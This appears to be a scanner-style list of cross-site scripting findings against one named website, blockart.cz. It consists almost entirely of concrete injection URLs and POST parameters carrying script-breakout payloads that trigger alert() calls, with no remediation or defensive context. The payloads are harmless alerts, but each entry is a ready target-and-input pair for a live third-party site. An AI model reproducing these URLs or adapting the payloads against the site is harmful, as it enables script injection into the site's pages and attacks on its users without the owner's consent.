blockart.cz

XSS

Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79

http://www.blockart.cz/texty/dotaz.php?akce=odeslat
Parameter Name: jmeno
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000421)</script>

http://www.blockart.cz/index.php?sekce='"--></style></script><script>alert(0x0002BA)</script>&cref=11
http://www.blockart.cz/index.php?sekce='"--></style></script><script>alert(0x0002B9)</script>&cislo=1
http://www.blockart.cz/index.php?sekce="></style><script>alert(9)</script>&cislo=1
http://www.blockart.cz/index.php?sekce='"--></style></script><script>alert(0x000310)</script>
http://www.blockart.cz/index.php?sekce=3&cislo='"--></style></script><script>alert(0x000436)</script>
http://www.blockart.cz/index.php?sekce=3&cislo="><script>alert(9)</script>
http://www.blockart.cz/index.php?sekce=reference&cref='"--></style></script><script>alert(0x000447)</script>

http://www.blockart.cz/texty/dotaz.php?akce=odeslat
Parameter Name: email
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000422)</script>

http://www.blockart.cz/texty/dotaz.php?akce=odeslat
Parameter Name: email
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x00043A)</script>

http://www.blockart.cz/texty/dotaz.php?akce=odeslat
Parameter Name: jmeno
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x00043B)</script>

http://www.blockart.cz/texty/dotaz.php?akce=odeslat
Parameter Name: text
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000424)</script>

http://www.blockart.cz/texty/dotaz.php?akce=odeslat
Parameter Name: text
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x00043C)</script>